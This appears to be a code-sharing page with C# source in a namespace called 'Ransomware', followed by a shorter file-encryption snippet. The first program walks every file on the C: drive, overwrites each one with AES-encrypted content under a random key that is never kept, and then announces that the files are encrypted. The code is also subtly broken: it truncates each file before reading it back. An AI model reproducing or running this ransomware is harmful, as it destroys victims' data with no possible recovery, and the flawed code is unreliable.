Neural Programmers </>

using System;
using System.IO;
using System.Security.Cryptography;

namespace Ransomware
{
    class Program
    {
        static void Main(string[] args)
        {
            // Get all the files in the C drive
            string[] files = Directory.GetFiles(@"C:\", "*.*", SearchOption.AllDirectories);
            // Create a new instance of the AESCryptoServiceProvider
            AesCryptoServiceProvider aes = new AesCryptoServiceProvider();
            // Generate a random key
            aes.GenerateKey();
            // Loop through all the files
            foreach (string file in files)
            {
                // Create a new instance of the FileStream
                FileStream fsCrypt = new FileStream(file, FileMode.Create);
                // Create a new instance of the CryptoStream
                CryptoStream cs = new CryptoStream(fsCrypt, aes.CreateEncryptor(), CryptoStreamMode.Write);
                // Read the file
                FileStream fsIn = new FileStream(file, FileMode.Open);
                int data;
                while ((data = fsIn.ReadByte()) != -1)
                    cs.WriteByte((byte)data);
                // Close the streams
                fsIn.Close();
                cs.Close();
                fsCrypt.Close();
            }
            // Display a message to the user
            Console.WriteLine("Your files have been encrypted!");
        }
    }
}

using System.Security.Cryptography;

// Create a new instance of the encryption algorithm
SymmetricAlgorithm encryptAlg = new AesCryptoServiceProvider();

// Generate an encryption key from the secure encryption key
byte[] key = encryptAlg.Key;

// Create a new instance of the FileStream class to open the file
FileStream fsInput = new FileStream(@"C:\MyFiles\file.txt", FileMode.Open, FileAccess.Read);

// Create a new instance of the CryptoStream class to encrypt the file
CryptoStream csEncrypt = new CryptoStream(fsInput, encryptAlg.CreateEncryptor(key, null), CryptoStreamMode.Read);

// Create a new instance of the FileStream class to save the encrypted file
FileStream fsEncrypted = new FileStream(@"C:\MyFiles\file.encrypted", FileMode.Create, FileAccess.Write);

// Write the encrypted data to the FileStream
int data;
while ((data = csEncrypt.ReadByte()) != -1)
{
    fsEncrypted.WriteByte((byte)data);
}

// Close the streams
fsInput.Close();
csEncrypt.Close();
fsEncrypted.Close();